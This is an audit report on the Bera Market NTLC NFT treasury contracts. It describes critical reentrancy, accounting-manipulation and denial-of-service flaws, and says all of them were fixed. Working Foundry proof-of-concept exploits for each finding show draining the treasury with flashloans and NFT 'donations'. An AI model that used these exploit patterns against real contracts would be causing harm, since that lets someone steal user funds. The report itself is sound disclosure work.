Bera Market Security Review

Version 1.1

September 26, 2023

Conducted by:
Georgi Georgiev (Gogo), Independent Security Researcher

Table of Contents

1 About Gogo

Georgi Georgiev, known as Gogo, is an independent security researcher experienced in Solidity smart contract auditing and bug hunting. Having conducted over 40 solo and team smart contract security reviews, he consistently strives to provide top-quality security auditing services. He also serves as a smart contract auditor at Paladin Blockchain Security, where he has been involved in security audits for notable clients such as LayerZero, TraderJoe, SmarDex, and other leading protocols.

2 Disclaimer

Audits are a time, resource, and expertise bound effort where trained experts evaluate smart contracts using a combination of automated and manual techniques to identify as many vulnerabilities as possible. Audits can show the presence of vulnerabilities **but not their absence**.

3 Risk classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

3.1 Impact

- **High** - leads to a significant loss of assets in the protocol or significantly harms a group of users.
- **Medium** - only a small amount of funds can be lost or a functionality of the protocol is affected.
- **Low** - any kind of unexpected behaviour that's not so critical.

3.2 Likelihood

- **High** - direct attack vector; the cost is relatively low to the amount of funds that can be lost.
- **Medium** - only conditionally incentivized attack vector, but still relatively likely.
- **Low** - too many or too unlikely assumptions; provides little or no incentive.

3.3 Actions required by severity level

- **Critical** - client **must** fix the issue.
- **High** - client **must** fix the issue.
- **Medium** - client **should** fix the issue.
- **Low** - client **could** fix the issue.

4 Executive summary

Overview

Project Name	Bera Market, NTLC
Repository	https://github.com/beramarket/beramarket-contracts
Commit hash	08c460833e84020bba21b333a090cfdb687f8a50
Resolution 1	0056f1d0a33e87568c516c574703d0c1c9f882cc
Resolution 2	5ba334a792ed93723430de5c8cad2d7a6b4d1b6e
Documentation	https://hackmd.io/@ind-igo/ntlc
Methods	Manual review & testing

Scope

contracts/Minter.sol
contracts/NLTC.sol
contracts/RoyaltySplitter.sol
contracts/Treasury.sol
contracts/factory/NFTFactory.sol
contracts/factory/TreasuryFactory.sol

Issues Found

Critical risk	4
High risk	2
Medium risk	2
Low risk	4
Informational	2

5 Findings

5.1 Critical risk

5.1.1 Protocol invariants can be broken allowing attacker to steal all treasury assets

Severity: *Critical risk*

Context: Treasury.sol#L209

Description: The following check is made in the `redeemItem` function to ensure that not all items from a collection are redeemed for their backing amount:

```
if (float_ == 1) revert CanNotRedeemLastItem();
```

This is done because of the way the `realFloorValue` of an NFT is calculated:

```
function realFloorValue() public view returns (uint256 value_) {
    uint256 float_ = float();

    if (float_ > 0) value_ = (backing + backingLoanedOut - collateralHeld) / float_;
}
```

The `float()`, as per documentation, is the number of "Items in the collection NOT owned by the protocol. Used for calculating backing.". Since `redeemItem` accepts a holder's NFT and transfers out the corresponding backing amount, the `float` will decrease (items not owned by the protocol decrease).

Therefore, if before calling `redeemItem` the `float` is 1, it would become 0 after the redeem is executed. This will results in the `realFloorValue` becoming 0 as well, meaning that the next protocol-owned (stored in treasury) item to be purchased would cost 0 WETH.

However, this check can be bypassed because of the way `float` is actually calculated:

```
function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasurySupply_ = collection.balanceOf(address(this));
    uint256 loansOnCollection_ = loansOnCollection;
    uint256 itemsLoaned_ = itemsLoaned;

    float_ = totalSupply_ - (itemsLoaned_ + treasurySupply_ - loansOnCollection_);
}
```

As can be seen above, it fetches the amount of NFTs stored in the treasury using the `collection.balanceOf` function. Therefore, anyone can "donate" NFTs to the treasury by directly sending them to the contract address instead of using the `redeemItem` function. The `float` would then be manipulated, and if all leftover NFTs are sent to the contract address, it would become 0, resulting in a `realFloorValue` of 0 for any other NFTs from the collection stored in the treasury. Then anyone can simply call `loanItem` for any arbitrary NFT from the collection providing 0 WETH as collateral (loan duration does not matter). That way, the attacker can drain the whole treasury and obtain all NFTs stored there.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```solidity
function test_Proof_of_Concept_C1() external {
    _helperMintNTLC(address(this), 99);
    _helperMintNTLC(attacker, 1);

    // 1. Redeem all NFTs except 1 (or whatever amount the malicious user holds).
    for (uint256 i; i < 99; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }
    assertEq(treasury.float(), 100 - 99);
    assertEq(collection.balanceOf(address(treasury)), 99);

    // 2. Test that redeem does not accept last item.
    vm.startPrank(attacker);
    collection.approve(address(treasury), 99);

    vm.expectRevert(Treasury.CanNotRedeemLastItem.selector);
    treasury.redeemItem(99);

    // 3. Transfer the NFT directly to the collection (the so-called "donation").
    collection.transferFrom(attacker, address(treasury), 99);
    assertEq(treasury.float(), 0);
    assertEq(collection.balanceOf(address(treasury)), 100);

    // 4. Abuse that the ‘realFloorValue()‘ is now 0 by taking free item loans.
    assertEq(treasury.realFloorValue(), 0);

    weth.approve(address(treasury), 0);
    for (uint256 i; i < 100; i++) {
        treasury.loanItem(i, 1_000_000 * 365 days);
    }

    // All NFTs are drained and treasury is DoS-ed forever.
    assertEq(treasury.float(), 0);
    assertEq(collection.balanceOf(attacker), 100);
}
```

Recommendation: Track the NFTs balance of the treasury internally instead of retrieving it dynamically via `collection.balanceOf`.

Resolution: Resolved. The clients introduced the `itemsTreasuryOwns` variable which tracks the NFT balance internally:

```solidity
function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasuryOwns_ = itemsTreasuryOwns;

    float_ = totalSupply_ - treasuryOwns_;
}
```

5.1.2 Attacker can steal backing from treasury via reentrancy when repaying a loan

Severity: *Critical risk*

Context: Treasury.sol#L329

Description: When a backing loan is repaid using the `payLoanBack` function, if all collateral is returned as well as the accrued interest, the contract will iterate through all NFTs used as collateral and send them back to the borrower using the `collection.safeTransferFrom` method.

The problem is that the Checks-Effects-Interactions pattern is not followed here as state changes to 2 variables are done after the external call (`.safeTransferFrom`):

```
backing += toBacking_;
backingLoanedOut -= loan.backingOwed;
for (uint256 i; i < loan.ids.length; ++i) {
    collection.safeTransferFrom(address(this), loan.loanedTo, loan.ids[i]);
    loanOnItem[loan.ids[i]] = false;
}
loansOnCollection -= loan.ids.length;
```

Therefore, as `safeTransferFrom` will call the `.onERC721Received` hook on the `loan.loanedTo` address, a malicious borrower can reenter into the `purchaseItem`. The state change that makes this vulnerability exploitable and profitable is the reduction of `loansOnCollection` since this variable is used for calculating the `realFloorValue` of the NFTs.

When the attacker reenters the `redeemItem`, since `loansOnCollection` has not been updated yet while the collection.balanceOf(address(this)) has already been, the `realFloorPrice` will be lower than expected, and therefore, the attacker can purchase NFTs on discount, effectively stealing value (backing) from the treasury.

```
function realFloorValue() public view returns (uint256 value_) {
    uint256 backing_ = backing;
    uint256 backingLoanedOut_ = backingLoanedOut;
    uint256 collateralHeld_ = collateralHeld;
    uint256 float_ = float();

    if (float_ > 0) value_ = (backing_ + backingLoanedOut_ - collateralHeld_) /
        float_;
}

function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasurySupply_ = collection.balanceOf(address(this));
    uint256 loansOnCollection_ = loansOnCollection;
    uint256 itemsLoaned_ = itemsLoaned;

    float_ = totalSupply_ - (itemsLoaned_ + treasurySupply_ - loansOnCollection_);
}
```

The following PoC shows how this can be combined with a flashloan to steal ~5% of the backing.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_C2() external {
    // 1. Users mint all NFTs from the NTLC collection.
    _helperMintNTLC(users, 1000);

    // 2. 950 NFTs are redeemed for their real floor value using the Treasury
        contract.
    vm.startPrank(users);
    for (uint256 i = 0; i < 950; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }
    vm.stopPrank();

    assertEq(treasury.float(), 1000 - 950);
    assertEq(collection.balanceOf(address(treasury)), 950);

    // 3. Cache the current state before the exploit is executed.
    _helperCacheBalances(0);

    // 4. We (the attacker) take a flashloan to purchase 50 NFTs from the Treasury.
    uint256 flashLoanAmount = 150e18;
    _helperDealWETH(address(this), flashLoanAmount);
    weth.approve(address(treasury), flashLoanAmount);

    for (uint256 i = 0; i < 50; i++) {
        treasury.purchaseItem(i);
    }

    // 5. Then, we take a loan for 0 WETH providing the 100 NFTs as collateral.
    uint256[] memory ids = new uint256[](50);
    for (uint256 i = 0; i < 50; i++) {
        collection.approve(address(treasury), i);
        ids[i] = i;
    }
    treasury.receiveLoan(ids, 0 ether, 0 seconds);

    // 6. Pay loan back and execute the reentrancy (see ‘onERC721Received‘).
    reentrancyC2 = true;
    reentrancyTarget = 50;

    treasury.payLoanBack(0, 0);

    // 8. Now sell (redeem) all NFTs at the higher price.
    for (uint256 i = 0; i < 100; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }

    // 9. Finally, we pay the flash loan back and log results.
    weth.transfer(address(0), flashLoanAmount);

    _helperCacheBalances(1);
    _helperLogBalances();
}
```

```
function onERC721Received(address, address, uint256, bytes calldata) external
    returns (bytes4) {
    if (reentrancyC2 && ++reentrancyCounter == reentrancyTarget) {
        // 7. Purchase NFTs at a discounted price.
        for (uint256 i = 50; i < 100; i++) {
            treasury.purchaseItem(i);
        }
    }
    return IERC721Receiver.onERC721Received.selector;
}
```

The output of the above Proof of Concept is:

```
Before attack execution:
 > Treasury balance: 97.76 WETH
 > Attacker balance:  0.00 WETH
 > Treasury NTLCs:     950 NFTs
 > Attacker NTLCs:       0 NFTs

After attack execution:
 > Treasury balance: 93.01 WETH
 > Attacker balance:  4.75 WETH
 > Treasury NTLCs:     950 NFTs
 > Attacker NTLCs:       0 NFTs

Summary:
 > Treasury loss:     4.75 WETH
 > Attacker gain:     4.75 WETH
```

Recommendation: Use `ERC721.transferFrom` instead of `ERC721.safeTransferFrom` in order to prevent callbacks to untrusted accounts like the `loanedTo` address. Also, follow the Checks-Effects-Interactions pattern consistently by first executing any state changes (like updating the `loanOnItem` and `loansOnCollection`) and just after that execute external calls. Alternatively, consider implementing reentrancy guards to prevent cross-function reentrancy attack vectors.

Resolution: Resolved. The recommended fix was implemented.

5.1.3 Users can break internal accounting and manipulate the RFV

Severity: *Critical risk*

Context: Treasury.sol#L424-L435

Description: The `itemLoanExpired` function is used to cancel NFT loans that have not been repaid on time. The only validation check it performs is whether the current `block.timestamp` is past the loan expiry time:

```
function itemLoanExpired(uint256 loanId_) external {
    ItemLoan memory loan = itemLoanDetails[loanId_];
    delete itemLoanDetails[loanId_];
    if (block.timestamp <= loan.timestampDue) revert ActiveLoan();

    itemLoaned[loan.id] = false;
    --itemsLoaned;
    collateralHeld -= loan.collateralGiven;
}
```

However, there is no check to ensure that the passed `loanId` is valid. Since we are reading the `ItemLoan` struct from a storage mapping, if an invalid `loanId` is passed, the struct will be initialized with default values for all its properties (in contrast to an array where this would revert).

Therefore, an adversary can simply call `itemLoanExpired` passing a `loanId` higher than the value of the incremental `itemLoanId` counter, and that way manipulate the `itemsLoaned` variable.

Furthermore, anyone can borrow an NFT, wait for the expiry period to pass (which can be as little as 1 second), and cancel the loan multiple times since there is no check whether it has already been canceled.

The impact is that sequential calls to the `itemLoanExpired` function will revert due to underflow, as well as to `sendLoanedItemBack`, resulting in a Denial-of-Service for the NFT borrowing functionality:

Also, the `realFloorValue` of all NFTs will decrease significantly which is a value loss for the protocol and its users.

```
function realFloorValue() public view returns (uint256 value_) {
    uint256 float_ = float();

    if (float_ > 0) value_ = (backing + backingLoanedOut - collateralHeld) / float_;
}

function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasurySupply_ = collection.balanceOf(address(this));

    float_ = totalSupply_ - (itemsLoaned + treasurySupply_ - loansOnCollection);
}
```

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_C3() external {
    _helperMintNTLC(address(this), 100);
    _helperDealWETH(address(this), 10e18);

    // 1. Redeem 10 NFTs so there’s some balance in the treasury.
    for (uint256 i; i < 10; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }
    assertEq(treasury.float(), 100 - 10);
    assertEq(collection.balanceOf(address(treasury)), 10);

    // 2. Borrow 5 NFTs.
    weth.approve(address(treasury), type(uint256).max);
    for (uint256 i; i < 5; i++) {
        treasury.loanItem(i, 1 days);
    }
    assertEq(treasury.float(), 100 - 10);
    assertEq(treasury.itemsLoaned(), 5);
    assertEq(collection.balanceOf(address(treasury)), 5);

    // 3. Manipulate the ‘itemsLoaned‘ variable to block item loans repayments.
    uint256 invalidLoanId = type(uint256).max;
    for (uint256 i; i < 5; i++) {
        treasury.itemLoanExpired(invalidLoanId);
    }
    assertEq(treasury.itemsLoaned(), 0);

    // 4. Try to repay the loan for each of the 5 borrowed NFTs.
    for (uint256 i; i < 5; i++) {
        collection.approve(address(treasury), i);

        // Reverts due to underflow when trying to update the ‘itemsLoaned‘.
        vm.expectRevert(stdError.arithmeticError);
        treasury.sendLoanedItemBack(i);
    }
}
```

Recommendation: Implement the following check in `itemLoanExpired`:

```
    if (loan.timestampDue == 0) revert InvalidLoanId();
```

Resolution: Resolved. The recommended fix was implemented.

5.1.4 Attacker can steal backing from treasury via cross-contract reentrancy

Severity: *Critical risk*

Context: NLTC.sol#L113-L119, Treasury.sol#L452-L459

Description: When a user mint NTLC, they pay the specific mintPrice that is split between the contract owner (creator) and the corresponding treasury for this NTLC:

```
uint256 value_ = msg.value;
if (value_ < mintPrice * amount_) revert ValueTooLow();

uint256 backing_ = (mintBackingPercent * value_) / 100;

IWETH(WETH).deposit{value: backing_}();
IERC20(WETH).approve(treasury, backing_);
ITreasury(treasury).addToBacking(backing_);

for (uint256 i; i < amount_; ++i) {
    _safeMint(msg.sender, id_ + i);
}
```

The ERC721._safeMint method is used which means that if the msg.sender is a smart contract, the onERC721Received callback function will be called on each iteration.

The problem here is that the backing is added all at once by multiplying the mintPrice by the amount to mint. However, the totalSupply is not incremented at once but on each iteration before/after the callback function of the msg.sender has been invoked.

Treasury.float() is calculated using exactly the totalSupply of the corresponding NTLC collection, and the NTLC.realFloorValue() uses the backing amount as well as the float():

```
function realFloorValue() public view returns (uint256 value_) {
    uint256 float_ = float();

    if (float_ > 0) value_ = (backing + backingLoanedOut - collateralHeld) / float_;
}

function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasurySupply_ = collection.balanceOf(address(this));

    float_ = totalSupply_ - (itemsLoaned + treasurySupply_ - loansOnCollection);
}
```

An adversary can therefore exploit this pattern by minting multiple NFTs and reentering right on the first callback (onERC721Received) call into the Treasury contract to abuse that the realFloorValue() is higher than it should be as the totalSupply is not yet incremented by the whole amount of NFTs to mint while the whole backing has been added.

The following PoC shows how this can be combined with a flashloan to steal a significant portion of the treasury backing.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_C4() external {
    // 1. Users mint 1000 NFTs (out of 10000) from the NTLC collection and become
        holders.
    _helperMintNTLC(users, 1000);

    // 2. Cache the current state before the exploit is executed.
    _helperCacheBalances(0);

    // 3. We (the attacker) take a flashloan to mint 2000 NFTs more.
    uint256 flashLoanAmount = 2000 * collection.mintPrice();
    _helperDealETH(address(this), flashLoanAmount);

    // 4. We call the ‘mint‘ and execute the reentrancy (see ‘onERC721Received‘).
    reentrancyC4 = true;

    collection.mint{value: flashLoanAmount}(2000);

    // 6. Finally, we pay the flash loan back and log results.
    weth.transfer(address(0), flashLoanAmount);

    _helperCacheBalances(1);
    _helperLogBalances();
}

function onERC721Received(address, address, uint256 id, bytes calldata) external
    returns (bytes4) {
    if (reentrancyC4) {
        // 5. Redeem the item that we just minted at a higher price.
        collection.approve(address(treasury), id);
        treasury.redeemItem(id);
    }
    return IERC721Receiver.onERC721Received.selector;
}
```

The output of the above Proof of Concept is:

```
Before attack execution:
 > Treasury balance: 1600.00 WETH
 > Attacker balance:    0.00 WETH
 > Treasury NTLCs:         0 NFTs
 > Attacker NTLCs:         0 NFTs

After attack execution:
 > Treasury balance:  705.17 WETH
 > Attacker balance:   94.82 WETH
 > Treasury NTLCs:      2000 NFTs
 > Attacker NTLCs:         0 NFTs

Summary:
 > Attacker gain:      94.82 WETH
```

Recommendation: Use `ERC721._mint` instead of `ERC721._safeMint` in order to prevent from callbacks to untrusted accounts like the msg.sender. Alternatively, consider implementing reentrancy guards to prevent cross-function and cross-contract reentrancy attack vectors.

Resolution: Resolved. The recommended fix was implemented.

5.2 High risk

5.2.1 Adversary can cause permanent Denial-of-Service to the Treasury contract

Severity: *High risk*

Context: Treasury.sol#L329

Description: The `float()`, as per documentation, is the number of "Items in the collection NOT owned by the protocol. Used for calculating backing.". It is calculated using the following parameters:

```
/// @return float_  Number of supply not treasury owned
function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasurySupply_ = collection.balanceOf(address(this));

    float_ = totalSupply_ - (itemsLoaned + treasurySupply_ - loansOnCollection);
}
```

The 2 key parameters for this finding are the `treasurySupply_` and `itemsLoaned_`.

When an NFT is borrowed, `itemsLoaned` is incremented so that it compensates for the `treasurySupply_` that gets decremented. That way, the `float()` stays the same unless the loan expires.

However, there is a way that this mechanism can be abused. An adversary can take a loan for `N` amount of NFTs and then "donate" them (transfer directly) back to the treasury address. That way, the `itemsLoaned` will maintain the incremented value until the loan expires, but the `treasurySupply_` will increase as well similar to the double-spending problem.

If an adversary manages to take `N` loans where `N = totalSupply_ - treasurySupply_ + 1`, they can effectively DoS the whole Treasury contract by causing the `float()` to always revert due to underflow. Since this function is used in all external functions, the contract will become permanently bricked.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_H1() external {
    _helperDealWETH(address(this), 55e18);
    weth.approve(address(treasury), 55e18);

    // 1. We mint all NFTs from the NTLC collection and become holders.
    _helperMintNTLC(users, 100);

    // 2. 900 NFTs are redeemed for their real floor value using the Treasury
       contract.
    vm.startPrank(users);
    for (uint256 i = 0; i < 90; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }
    vm.stopPrank();

    assertEq(treasury.float(), 100 - 90);
    assertEq(collection.balanceOf(address(treasury)), 90);
    // 3. We take loans for 14 NFTs for 10 years.
    for (uint256 i = 0; i < 14; i++) {
        treasury.loanItem(i, 10 * 365 days);
    }

    // 4. We "donate" 12 of the borrowed NFT to the treasury so that
    //   ‘float()‘ reverts due to underflow.
    for (uint256 i = 0; i < 12; i++) {
        collection.transferFrom(address(this), address(treasury), i);
    }

    // 5.Check that all functions are now DoS-ed.
    vm.expectRevert(stdError.arithmeticError);
    treasury.float();

    vm.expectRevert(stdError.arithmeticError);
    treasury.realFloorValue();

    vm.expectRevert(stdError.arithmeticError);
    treasury.addToBacking(1);

    vm.expectRevert(stdError.arithmeticError);
    vm.prank(users);
    treasury.redeemItem(99);

    vm.expectRevert(stdError.arithmeticError);
    treasury.purchaseItem(14);

    vm.expectRevert(stdError.arithmeticError);
    treasury.receiveLoan(new uint256[](1), 0, 0);

    // backingLoanExpired() and payLoanBack() currently do not
    // revert as the ‘RFVChanged‘ is not emitted correctly.

    vm.expectRevert(stdError.arithmeticError);
    treasury.loanItem(14, 0);

    collection.approve(address(treasury), 12);
    vm.expectRevert(stdError.arithmeticError);
    treasury.sendLoanedItemBack(12);

    vm.warp(block.timestamp + 10 * 365 days + 1);
    vm.expectRevert(stdError.arithmeticError);
    treasury.itemLoanExpired(13);
}
```

Recommendation: Track the NFTs balance of the treasury internally instead of retrieving it dynamically via `collection.balanceOf`.

Resolution: Resolved. The recommended fix was implemented.

5.2.2 Creator fees are incorrectly charged for expired backing and item loans

Severity: *High risk*

Context: Treasury.sol#L329

Description: There are 3 cases when a `creatorPercent` is charged as a fee in the context of the Treasury contract: 1. When an NFT has been purchased or redeem (as part of the royalty fee). 2. When a backing or item loan has expired (as part of the royalty fee). 3. When a backing or item loan has been repaid (as part of the interest).

However, after discussion with the client, the second case appears to be wrongly implemented both for the backing and item loans resulting in wrong fees charged from users for the creators.

First, when a backing loan has expired, the creator fee should be taken as percent of the royalty similar to a redeem operation. However, there is currently no creator fee accounted when a backing loan expires.

Secondly, when an item loan has expired, the creator fee should be taken as percent of the royalty similar to a purchase operation. However, it is currently calculated as a percent of the accrued interest rather than the royalty fee.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_H2() external {
    // 1. We mint all NFTs from the NTLC collection and become holders.
    _helperMintNTLC(address(this), 1000);

    // 2. A user takes a backing loan for 1 WETH for 1 day providing 1 NFT as
        collateral.
    collection.approve(address(treasury), 0);
    uint256[] memory ids = new uint256[](1);
    treasury.receiveLoan(ids, 1 ether, 1 days);

    // 3. One day passes.
    vm.warp(block.timestamp + 1 days + 1);

    // 4. Cancel the loan.
    treasury.backingLoanExpired(0);

    // 5. Check that no creator fee was taken (wrong behaviour).
    assertEq(treasury.feesToWithdraw(), 0);
}
```

Recommendation: Account for the creator fee in the `backingLoanExpired` function and user the `royaltyFee` instead of the `interest` when calculating the creator fee for expired item loans.

Resolution: Resolved. The creator fee is now correctly charged.

5.3 Medium risk

5.3.1 Adversary can manipulate internal accounting causing unexpected behaviour

Severity: *Medium risk*

Context: Treasury.sol#L300-L301

Description: During the resolution round at commit 0056f1d, a problem similar to finding 5.2.1 of this security review report was found with a lower impact on the system.

The client implemented the recommended fix as the `float()` is now calculated using the new `itemsTreasuryOwns` storage variable instead of the old combination of `collection.balanceOf`, `loansOnCollection` and `itemsLoaned`:

```
function float() public view returns (uint256 float_) {
    uint256 totalSupply_ = collection.totalSupply();
    uint256 treasuryOwns_ = itemsTreasuryOwns;

    float_ = totalSupply_ - treasuryOwns_;
}
```

However, this fixes the issue only partially because NFTs can still be “donated” (transferred directly) to the treasury address and this could still affect the internal accounting.

A user can “donate” any arbitrary NFT from the corresponding NTLC collection to the treasury address and then purchase it using the `purchaseItem` function. Doing this over and over again will decrease the `itemsTreasuryOwns` by 1 each time the function is called even though no actual NFT that has been deposited in the contract (via `redeemItem`) has been purchased.

This itself possesses no risk for the system as it would basically result in the same as if the user was purchasing an actual NFT and then simply returning it back directly.

However, this vector can lead to an actual severe problem since the `itemsTreasuryOwns` is not decreased only when an item is purchased, but also when an item loan expires:

```
function itemLoanExpired(uint256 loanId_) external {
    ...
    --itemsTreasuryOwns;
    ...
}
```

Therefore, if a malicious users executes the above described action enough times so that `itemLoanExpired`, the impact would be temporary Denial-of-Service for a core functionality of the contract.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
function test_Proof_of_Concept_M1() external {
    _helperDealWETH(address(this), type(uint256).max / 2);
    weth.approve(address(treasury), type(uint256).max);

    // 1. We mint all NFTs from the NTLC collection and become holders.
    _helperMintNTLC(address(this), 1000);
    // 2. Redeem some of them so there is some balance in the treasury.
    for (uint256 i = 0; i < 100; i++) {
        collection.approve(address(treasury), i);
        treasury.redeemItem(i);
    }

    // 3. Take 3 item loans.
    treasury.loanItem(0, 1 days);
    treasury.loanItem(1, 1 days);
    treasury.loanItem(2, 1 days);

    // 4. "Donate" an arbitrary NFT to the treasury and purchase it back 98 times
    //    so that the ‘itemsTreasuryOwns‘ is now less than the amount of NFTs
       borrowed.
    for (uint256 i = 0; i < 98; i++) {
        collection.transferFrom(address(this), address(treasury), 100);
        treasury.purchaseItem(100);
    }

    // 5. The loans duration passes and they should now be cancelled as expired.
    vm.warp(block.timestamp + 1 days + 1);
    treasury.itemLoanExpired(0);
    treasury.itemLoanExpired(1);

    // 6. However, not all can be cancelled due to the manipulated ‘
       itemsTreasuryOwns‘
    //    variable that now causes underflow because of the wrong accounting.
    vm.expectRevert(stdError.arithmeticError);
    treasury.itemLoanExpired(2);
}
```

Recommendation: Keep track of the NFTs the Treasury contract actually “owns” in a mapping and verify that the passed item ID is a valid one.

Resolution: Resolved. The recommended fix was implemented.

5.3.2 Royalty fees from non-standard tokens cannot be withdrawn

Severity: *Medium risk*

Context: RoyaltySplitter.sol#L87-L95

Description: The RoyaltySplitter contract implements the following function to allow authorized accounts to withdraw any ERC2981 royalty fees sent to it for NTLC items:

```
function transferNonETH(address token_) external {
    ...

    uint256 total_ = IERC20(token_).balanceOf(address(this));

    uint256 beraMarketFeePercent_ = ITreasury(treasury).beraMarketFeePercent();

    uint256 beraMarketFee_ = (total_ * beraMarketFeePercent_) / 100;
    uint256 remaining_ = total_ - beraMarketFee_;

    IWETH(token_).transfer(IMinter(beraMarketMinter).beraMarketTreasury(),
        beraMarketFee_);
    IWETH(token_).transfer(ITreasury(treasury).owner(), remaining_);
}
```

The problem with this implementation is that the IWETH interface is used to invoke the `.transfer` method on an arbitrary token. A well-known issue is that some tokens like USDT do not return a boolean in their `transfer`, `transferFrom` and `approve` functions. Therefore, any calls to these functions on such tokens made via the standard interface will automatically revert during runtime.

In this case, no royalty fees sent in USDT or similar tokens will be able to be withdrawn.

Proof of Concept:

The full PoC for this finding can be found at *this link*.

```
contract MockUSDT {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function transfer(address to, uint256 amount) external {}
}

function test_Proof_of_Concept_M2() external {
    // 1. Send some royalty fees to the RoyaltySplitter contract.
    usdt.mint(address(splitter), 100e6);

    // 2. Try to withdraw.
    vm.expectRevert();
    splitter.transferNonETH(address(usdt));
}
```

Recommendation: Use OpenZeppelin's SafeERC20 library for performing arbitrary token transfers.

Resolution: Resolved. The recommended fix was implemented.

5.4 Low risk

5.4.1 Insufficient input validation on user-supplied parameter values

Severity: *Low risk*

Context: Treasury.sol

Description: There are multiple places throughout the codebase where input validation can be significantly improved to prevent unexpected behavior and limit potential attack vectors.

- The `amount_` in `addToBacking`, `receiveLoan`, and `payLoanBack` should never be 0. This can lead to wrongly emitted events and opens potential attack vectors.
- The `id_` array in `receiveLoan` should never be empty. This creates useless `BackingLoan` structs and results in wrongly emitted events.
- The `duration_` in `receiveLoan` and `loanItem` should have some upper bound. Users may accidentally pass it in milliseconds instead of seconds, locking their tokens forever in the treasury.
- The `loanId_` in `backingLoanExpired` should not belong to an empty struct. This can lead to wrongly emitted events and opens potential attack vectors.

Recommendation: Consider improving input validation in the mentioned spots in the codebase and implementing test cases for such scenarios.

Resolution: Resolved. All recommended checks were implemented.

5.4.2 The RFV event is incorrectly emitted

Severity: *Low risk*

Context: Treasury.sol#L15-L17, Treasury.sol#L286

Description: The `RFVChanged` event is emitted every time the real floor price has changed.

However, the event is emitted in `receiveLoan` and `sendLoanedItemBack` where the RFV is not actually changing. It is also **not** emitted in `backingLoanExpired` and `payLoanBack`, where the RFV is actually changing.

Recommendation: Remove the event from the `receiveLoan` and `sendLoanedItemBack` functions and add it to the appropriate places in `backingLoanExpired` and `payLoanBack`.

Resolution: Resolved. The recommended fix was implemented.

5.4.3 Fees can be lost or stuck if the market fee recipient is set to the null address

Severity: *Low risk*

Context: Treasury.sol#L477, RoyaltySplitter.sol#L71, RoyaltySplitter.sol#L94, NLTC.sol#L144

Description: The `beraMarketTreasury` address receives fees in a push-over-pull manner, meaning that if the variable is set to address(0) or an address blacklisted by a specific token, fees can become stuck or lost.

Recommendation: Add a zero address check in the `setBeraMarketTreasury` setter function.

Resolution: Resolved. The recommended fix was implemented.

5.4.4 The Checks-Effects-Interactions pattern is not followed consistently

Severity: *Low risk*

Context: Treasury.sol

Description: There are multiple instances in the Treasury contract where the CEI pattern is violated, and previous issues in this report have already demonstrated exploit scenarios because of this.

Recommendation: Consider consistently following the CEI pattern wherever possible.

Resolution: Resolved.

5.5 Informational

5.5.1 Excess msg.value will be added to backing instead of returned to users

Severity: *Informational*

Context: NLTC.sol#L109

Description: The `mint` function of the NTLC contract checks whether the sent msg.value is less than the required amount and reverts if so.

However, any additional amount sent with the function will not be returned to the users but instead charged a fee and sent to the treasury backing.

Recommendation: Consider reverting if the msg.sender has sent more than enough tokens for the NFT mint. Alternatively, make sure users are informed of this behavior to prevent unexpected loss of funds.

Resolution: Resolved. Excess ETH sent is now returned back the user.

5.5.2 Unnecessary checks

Severity: *Informational*

Context: Treasury.sol

Description: There are 5 if-statements that check for the owner of NFTs that are being transferred in the same function. These checks do not provide any additional value to the security of the smart contract as the transfers would revert anyway if the owner is not the expected one.

Recommendation: Consider removing the `collection.ownerOf` checks in the Treasury contract.

Resolution: Resolved.